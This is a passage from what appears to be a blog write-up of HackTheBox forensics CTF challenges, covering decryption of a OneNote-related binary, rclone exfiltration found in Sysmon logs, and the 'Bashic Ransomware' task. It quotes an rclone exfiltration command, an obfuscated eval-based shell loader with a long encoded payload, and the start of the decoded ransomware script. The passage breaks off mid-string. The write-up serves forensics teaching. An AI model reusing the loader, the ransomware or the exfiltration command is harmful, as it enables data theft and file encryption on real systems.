&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">unpad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gzip&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decompress&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;E:/Downloads/out&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;wb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As a result, we get &lt;a href="https://drive.google.com/file/d/1RsyS6wtl-Dz1HM-0GPDnOYWSxnFMBGoi/view?usp=sharing" target="_blank" rel="noopener">this binary&lt;/a>.&lt;/p>
&lt;p>I also double-checked using &lt;a href="https://www.portablefreeware.com/index.php?id=2757" target="_blank" rel="noopener">Detect It Easy (DIE)&lt;/a> to see if it is a valid executable or not.&lt;/p>
&lt;img src="2.png" alt="DIE" width="1000"/>
&lt;p>Voilà, we get the executable! I used &lt;a href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener">dnSpy&lt;/a> to read the code of the binary. Turned out, the flag is right there to be seen!&lt;/p>
&lt;img src="3.png" alt="dnSpy" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{0neN0Te?_iT'5_4_tr4P!}&lt;/strong>&lt;/p>
&lt;h2 id="packet-cyclone">Packet Cyclone&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1hqRgWipQ_XvLOSa7fQDDVzZ37U3myRbq/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>To get the flag, we need to answer these five question correctly:&lt;/p>
&lt;p>&lt;strong>1.What is the email of the attacker used for the exfiltration process? (for example: &lt;a href="mailto:name@email.com">name@email.com&lt;/a>)&lt;/strong>&lt;/p>
&lt;p>In the file given, there are 2 YAML files. In these files there is a &lt;a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/" target="_blank" rel="noopener">link&lt;/a> which is about detecting &lt;code>Rclone&lt;/code>. We can follow what they do to answer our questions.&lt;/p>
&lt;p>To find the email, i opened &lt;code>Sysmon Operational&lt;/code> event log and looked around the events. Then i found this:&lt;/p>
&lt;img src="001.png" alt="dnSpy" width="1000"/>
&lt;p>This event will help us to answer first four questions.&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>majmeret@protonmail.com&lt;/code>&lt;/p>
&lt;p>&lt;strong>2. What is the password of the attacker used for the exfiltration process?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI&lt;/code>&lt;/p>
&lt;p>&lt;strong>3. What is the Cloud storage provider used by the attacker?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>mega&lt;/code>&lt;/p>
&lt;p>&lt;strong>4. What is the ID of the process used by the attackers to configure their tool?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>3820&lt;/code>&lt;/p>
&lt;p>&lt;strong>5. What is the name of the folder the attacker exfiltrated; provide the full path.&lt;/strong>&lt;/p>
&lt;p>After reading the link mentioned above, we know that the attacker used command &lt;code>.rclone.exe copy E: remote:data&lt;/code> to begin exfiltrated. Hence, I searched for the event that mentions &lt;code>rclone.exe&lt;/code>.&lt;/p>
&lt;img src="002.png" alt="dnSpy" width="1000"/>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>C:\Users\Wade\Desktop\Relic_location&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}&lt;/strong>&lt;/p>
&lt;h2 id="bashic-ransomware">Bashic Ransomware&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1EY-quPUPyMjwMo_rJ5jApOcZIrMRnzSw/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We were given four files, including one encrypted flag file, a pcap file and a mem file with their &lt;code>volatility profile&lt;/code> which is the zip file.&lt;/p>
&lt;h3 id="1-pcap-file">1. Pcap file&lt;/h3>
&lt;p>Looking at the pcap file, we can see a long &lt;code>base64&lt;/code> string, i decoded it and get:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="n">gH4&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;Ed&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">kM0&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;xSz&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ch&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">L&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;4&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">rQW&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">fE1&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;lQ&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#39;KkmZKkmZJoQMgQXa4VWCJoQZ5gTMUV3MidFRGB1b4VUCJogblhGdgsTXgISKnB3ZgYXLgQmbh1WbvNGKkICI41CIbBiZplgCuVGa0ByOd1FIiIzM0MzM2kjN2cjclB3bsVmdlRmIg0TPgISKp1WYvh2doQiIgs1WgYWaKoQfKQVbuN2NyIHRzI1Vul2RxEGUuBjdJogNvV1Q51mQQdUdHlkTNFTRQlVTNlgCNlle0J2cUNkNG5EWBNzN4hUTGVXCKsHIpgSZ5gTMUV3MidFRGB1b4VkCK0nCG9URJoQLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLtkQCK4SZulGbkFWZkBycphGdgM3cp1GI09mbg8GRg4CdmVGbgMXehRGIuVGdgUmdhhGI19WWg4ycpBSZyVGa0BCLlNnc192YgY2TJkQCK8TZulGbkFWZkBSYgUmclhGdgMXSgoSCJogLzJXZud3bgwWdmRHanlmcgMXdvlmdlJHcgMHdpByb0ByajFmYgMWasVmcgUGa0BibyVHdlJHI0NXdtBSdvlHIsQ3clJHIlhGdgQHc5J3YlRGIvRFIusmcvdHIm9GIm92byBHIzFGIkVGdwlncjVGZgUmYg4WYjBibvlGdjVmZulGIyVGcgUGbpZGIl52Tg4ycu9Wa0NWdyR3culGIyV3bgc3bsx2bmBSdvlHImlGIkVWZ05WYyFWdnBSJwATMgMXagMXZslmZgIXdvlHIn5WayVmdvNWZSlQCJowPzVGbpZGI51GIyVmdvNWZyByb0BydvhEIqkQCK4SeltGIlRXY2lmcwBic19GI0V3boRXa3BSZsJWazN3bw1WagMXagQXagsTblhGdgQHc5J3YlRGIvRHI5F2dgEGIk5WamByb0ByZulWeyRHIl1Wa0Bic19WegUGdzF2dgQ3buBybEBiLkVGdwlncj5WZg4WZlJGIlZXYoBSelhGdgU2c1F2YlJGIlxmYpN3clN2YhBicldmbvxGIv5GIlJXYgMXZslmZgIXdvlHIm9GI0N3bNlQCJowPkVmblBHchhGI0FGaXBiKJkgCFJVQX10TT5UQSBCTBlkUUNVRSJVRUFkUUhVRg4UQgklQgQURUBVWSNkTFBSRSFEITVETJZEISV1TZlQCK0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLJkgCG9URg0CP8ACdhNGIgACIKsHIpgCVt52Y3IjcENjUX5WaHFTYQ5GM2pgC9pAWjdVMNdWdVZjQyUTUoREI0V2cuVXCKkgCl52bklgCpZWCgASCKwGb152L2VGZv4jMgISakICI11CIkVmcoNXCJACIJoAbsVnbvYXZk9iPyAiIpRiIgYTNyMVRBBybnxWYtIXZoBXaj1SLgMWayRXZt1Wez1SLgADIkZWLlNXYyhGczNXYw1SLgAXY5UTYuISakICIv1CIzVWet0CIoNGdhJWLtAyZwdGI8BCWjdVMNdWdVZjQyUTUoREJg8GajVWCJACIJogblhGd70VXgoiIuoiIqASPhASfptHJgs1WgYWaJkgCvRWCKsjchJnLqAien5iKggnYktmLqAiZkBnLqACej9GZuoCIj9GZuoCI0hHduoCIulGIpBicvZWCKkAIgoAcoBnL2NWZy9ycldWYrNWYw9SbvNmLsxWY0Nnbp1SawlHcuMXZslmZv8iOzBHd0hGIiU0bkJHamx2RkFncmZ2ZxBkIgknch5Wai1SY0FGZt0CIUN1TQBCdzVWdxVmct0CIsJXdjlAIgoQYoFmYzgGMQFHRsh1Z4JFI11CIkVmcoNXCKASYoFmYzgGMQFHRsh1Z4JFIl1CIF9GZyhmZsdEZxJnZmdWcg8WLgISeltUbvNnbhJlIgIXLgMXZ51SLgg2Y0FmYt0CInB3ZJoQYoFmYzgGMQFHRsh1Z4JFI+ACWjdVMNdWdVZjQyUTUoREJg8GajVWCKA2Jux1JgQWLgIHdgwHI2EDIu1CIkFWZoBCfgcSXdpTb15GbhpzWbdCIv1CIwVmcnBCfg02bk5WYyV3L2VGZvAycn5WayR3cg1DWjdVMNdWdVZjQyUTUoRUCKsHIpgiNvV1Q51mQQdUdHlkTNFTRQlVTNpgC9pAdzVnc0BiI5V2St92cuFmUiASeltWL0lGZl1SLgADIkZWLk5WYt12bj1SLgcGcnBCfgIibclnbcVjIgUWLg8GajVWCKQncvBXbp1SLgcGcnBCfgUGZvNWZk1SLgQjNlNXYiBCfgoGZPl3MLdzb0UmV5pGb0RCIvh2YllgCi0TPRxEdwMFT0NHMRBFerF1ZrZlUMJUeRpEerFlVCZUSRRWRVdWUrRlRxMFT0BzUMt0Y6ZVcGhFULV1VZhFewkFWWNjWDRmMTNzb3NWNJZlVWJVVWZDaxsEcO1WZIJ1RXBlQUZldNpWU0YkblNjTIdVNJd1YRJlMT9kSy4kNWRlUysmeM9EZV9kcodlUIRmRWxkVXJ2SKNDZCR2aTFjWtN2SjR0VahmaiVzZxwUUoh0T3BnbaVTUxMFVoBDT2RTRi5EbzQmc4c0V0BHbkdFaYNleOhkUuxWRaVjUtZlUSZUZzJkVUZFZw0UNCp2Y4R2VhRnWXlVdS12QHh2VOFTRGZlS0VVTytWVaRHdyMFMKh1VMJFWU5EaE9EdaFTUhlTRUNnTF1Eao1WYws2MidFZHplc0VlTzc2Vhh3cTVWeR52VxYlRV9mS6Z1aGdkYMB3dLVFbwM2dNJjYDRGVjFXNws0VKBDTxIkVhhkRFNVNzNlTzxmajdlWqNla0NlW1c2RiBnWyEWS5MUVwQ2ahhFbXVVawhVZL5ESlNnWXpFb4BDTVRmeLt0Zwolaxc1URJkai9GZEJ2dFVVYzEERXRjTX50bCxWUyUFMkZEdpN1dv52V0p0RhtEZGJGMZ5mWopFST9UOtVFRSpXW2Q3RjxmU6VFc4tWW1UlaOBDZsNUY0NEZ1cmRTdHZqRlcJVVVZxWMUdnSzQ1d3JjYvhGMWZVOVNmWkNTYMhWVUxUMtVFcoREZF5kMLpFdHJVRKRkW2tWbOFlUUFlcFxmU2NWMiZnRz0UdwFlTLRmbU9WOTVVNSRUZzAnMTpkTVJmTONjYI5kbilnWwQldopGVxJleUhkQ6JFcoZFV1c3VN5mVFdld0AzYLBnVhl3aFFWNwc1UGR3RiNTRtJGUWZUVL1UVXBDbXVmVwZVWKZlekZkWrNGW1U0V4pEWOJTUVVGcSdUYLh2aahUO5R2VoV1UthWbadnUwIVcWd1YRVzaUlkVU9kTShVUzYUVPJEcGJmWWFzUxM2aD9kTH1kdFFTYu5UVRNDZzIFRONDT4V0RVRnRrJlW4d1VWRXVOhUNwk1d4M1UDZEMRVjTUNlVw12UPFzahxGZsJlRWVVYHR2VR5mTrFlbKtWU5NWVVBHcnFlQGZVUTZUVVVlVIF2MGpnU1oURShlQW9Ub0NUT4plaOVnTYVGeNpWYMRmMOVFcYJWMNZlWXBnba5mUINVNBpXW6pFWjpnTXpVTO5WZxZkbR1mRXl1SnNjWOBHSP1mUu1EeFRkY4plVhJzZVdlck5WTExGSTBFdtNVNKR0VDxWRjdEcFZFTk1WY5hGWl5mQ6JlWaFzY0oVbl1kQY5UNGRUTEVzVPhGcwImexs2Q1cmMMNlTrN2MGVlYxMmaS9mV6JWWxcUYwpkRlRDdFFGVwtWYChGMkRnUXNGSshlUzY0RjBHewkFMoVUVFhHMZREZyskdRJjYohnMVpHMFVlN1s2Y29WUR5kWxUFVkhEZ6NGSTpnWtJ2T0dVUHhXRhREcsRlNKpnYJp1MLpnWrNVNwdlYLZUbZBHayY1TOBTWMRXaNBnQuFWYoxWTQ5URShGaqR1cWZVZo5ERltEMHVFdkhVTWVDMVBzZYJlejpHTCJFbXdXWzM2RsNzYqRmRkZ3axIlQONjWzoUVVBlVWJWeztmVE5ERlJUOH1kbsR0T2RDMW9GbUF2T1AzSNxmekNkQqNEbad1UoRmVOZkUuJmcvxmYulTVU1mWIJlSaZ0UuZURadnRXR2TatWTCxWViFHZwEFMFxWYXp0aSRkSVFmMsVFZ6lDMTRDZWlVerZ1VshWMiVnRtR2dwFkTSZlaaVDarZVNJt2YwsmbOpGbVpVUsJTVOZFbV9mQIV1QaZVThplbjZlSEJldZh1VIBnbTpGZF9Uas5WVYRWVlNnRqNFewNjTVlzaXBDcGJFdSVkTLFkRkVUNtZVaodUVzgGVWJjWVJ1cwhVUGBXbjxkSwMmW0tmURlzaahHNXJleOVkYEhWblVzZwQGSapWZxh3VVNjSGVVMORlTwRWMWpnRYNGMwNjYUpUbDRVMtRmdwclTMZUVUZEZzsUWKh1TaZVRNplRV5kcwAjUxQXVkVHZxQWTopXV1kkaaRjUIJ2QkRlWIJFSV5kUx4kcn1mV6JleNpmT6VFSaJTU5pESkJ3bBJGeOZkYV5ERkVjStFmSxATWqJ1MVlFaId1SC5mT6hzURhkTsVGdKpWVyUVMUFDMXNVdCxWVxolVNNUMrRmW4VkWs50ROFlWIVWeZhlYzMmVlFFZ610SZ5mTEhHMWFGbX5UV5c0TxgHMaFTSWpVerdkTsB3ajdEbI1kMOp2U3RGMNFzbYpFdSVFZEhGbZ1kUFRFWWBjUuhHMW5kUrFWesZlWLh3aNZUOH1ERS52QJhWVahlUWlVMadUZ0RWRX9kUwU1V1U1TXpVRhtEcupFdCFjUVVzVTtkRUVWekZUZDRWMZBHZxQFUCNTUGpkRiJHZFFGM0NVZtplRkNVODdlbWdVUVB3dTFzdHJWWsdVT0oURiNlVGZlNatGVrpUVUBzYsFmMjhkTTxGMhZjQE1UY0dlYzh3RhRTWUZlM4V0UYVzaZVFcrlFWkpnUIhnMiJHbtlVNjZUZoZUbUt0aGJ1MOhkV5dWMSBnRUdlcVh0VZlzUkNHctRWN4IDVvp0VTllWupVNnpHTXJlbTlkTrVFbGJjYZp0aURTTsNFN0JzSOxmRNlXVsJGeOZlUyUkbjBDasNUMsdkWyFkaTdnVtp1dB5WTYp1RahnUtlFbOVkU1xWbTdVOVZlSORlYrJVRlpkU65EWOhlTzIEWaZXMHJmcnd0TCh2aWpXQuFVVxs2YRZVRNRkVVJlRwdGVwQmRUVnWEFGeVRlWrZEVlhmVyklRkNDZ1kkbTNjVyoldoREZRxGMhRTVwolSopXU2hGWidlRzEWMOVkV0okMhplWVVlRk5WWoZEMWlkUysESstWYLNGRlVEasRmWCNDZhRmaOFTS6pld0IzY2YlRlhXU6xERCpWWxolVhNlQzEWaCpHZTlzQSNlTwMlQGBjWZxWVVJkVXNlUGVkUKRWbSZEbwQGRsBTYu50aDdFbxolQoBjWS5URUZFZYFVasBDZydGbjVzaxElVk1mVwpkRjJnSH10MKFDTxZVVRpEbrpVcGxGV0Jkek5kWqd1VGZVVKRWMaVkRwMlRkhlUGJleZJEcnNlMRtWWvVzaNlmTY5UNG1WYHRWVZJkRq1UawhlTYxmVlRjUVNVMZxWTUJFWPlXTXR2RxclVrZEbZJkRVJlUWVVU0AzVOFHZU5ESOdlYzU1aZJFbYV1SzVUTYlzahdnSVNmasxWV2RXbRhHOTNmQ1cVW6t2MMVlV6tUYkh0Vrp1VXFFdHRmevZVV4N3VNJTWHVmR5U1YyRmaUJEZERFeNFDVDpkaWBDaqN2Qat2Q4tmVkZXNrFlRoNDVMpkMUtmTuNlQKVVT0MmeTtmRsJlWS1mYNpEWXhXRsFmVxU1VaxWVT5WOD5ESCpnYGpVVSBVNF5ETsV0TUJFVTRzZE9ENVd0Tx82dNBzYU5kcJ5GZ5d3VihXVz0EdCRFZvJFSjZEaXRGcahkV2gmRi1mRwE2dZ1WUwJEWOpmSrNmM4UkT2p1VZ9EZIdVWONDZzIEWS9mRWNGMnRlVth3aNt0bI1EW0l3UrhWRkZXSuRWU41mVHljMMhmWGR1b01WU6h2ROVFZHNVbwJTVL5UbOZVODNmeWVUVHpFWZVjTVFlUsNjWPxGVjBDazYVMNVVZUx2MVlGbsNEeS1WVWhHMWlFeVJmQOhVYtx2VNdXUwQmd0ADTTZ0MjNHZV1EaGJjWzYFRONTT6RmWSh1VUZURa9kSqVlcFhVUpJEWaREbIVmesBTTuZkeZdFbFJGawFlTJh3aXVDbXNlVOxGVwUVVjpXSW10cONDZSx2aUVkT6ZldBRUYyg2VTJTREJFNvZ0YHZlVPtGdH1Uc1IDTVp1aSRDbYdVY0tmWZRGWZVkRw4EMjR1YLl1MOllTFNWNwdkWNlTeNlnTU50VwVUT0kjMLhkTWd1MnpWT6RWMWBlWrZVMFNTU2lEbiJDdH9Uc0lWYEhWRhRTRG5EdGVkTuxmVlBDa6tkMOR1UpZ1aDNDcyE1RkBjY5NHMN1EetJVWaBTVsZURPdXV6p1MsNjUIZEbR5kWwMWRshVY1JkbW5kRuFWYOpmV2YVVSpEbEJFWSVVUFpEMjZXRUlVUktWUPRWVVRHcnNEdwMFT0BTeTRUOFR1QCN1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#39; | r&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">HxJ&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;s&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Hc2&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;as&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">kcE&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;pas&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">cEf&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ae&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">V9z&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;6&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">P8c&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;if&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">U&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34; -d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Jc&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ef&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">N0q&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">v&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;b&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">w&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;e&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;v |&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Tx&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;Eds&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">xZp&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="p">=$(&lt;/span>&lt;span class="n">eval&lt;/span> &lt;span class="s2">&amp;#34;$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">eval&lt;/span> &lt;span class="s2">&amp;#34;$N0q$x$Hc2$rQW&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After using python to concat these strings, I got a &lt;code>base64&lt;/code> string, decoded it and I got a bash script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>uFMHx73AXNF6CTsbtzYM&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">tljyVe4o7K3yOdj&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU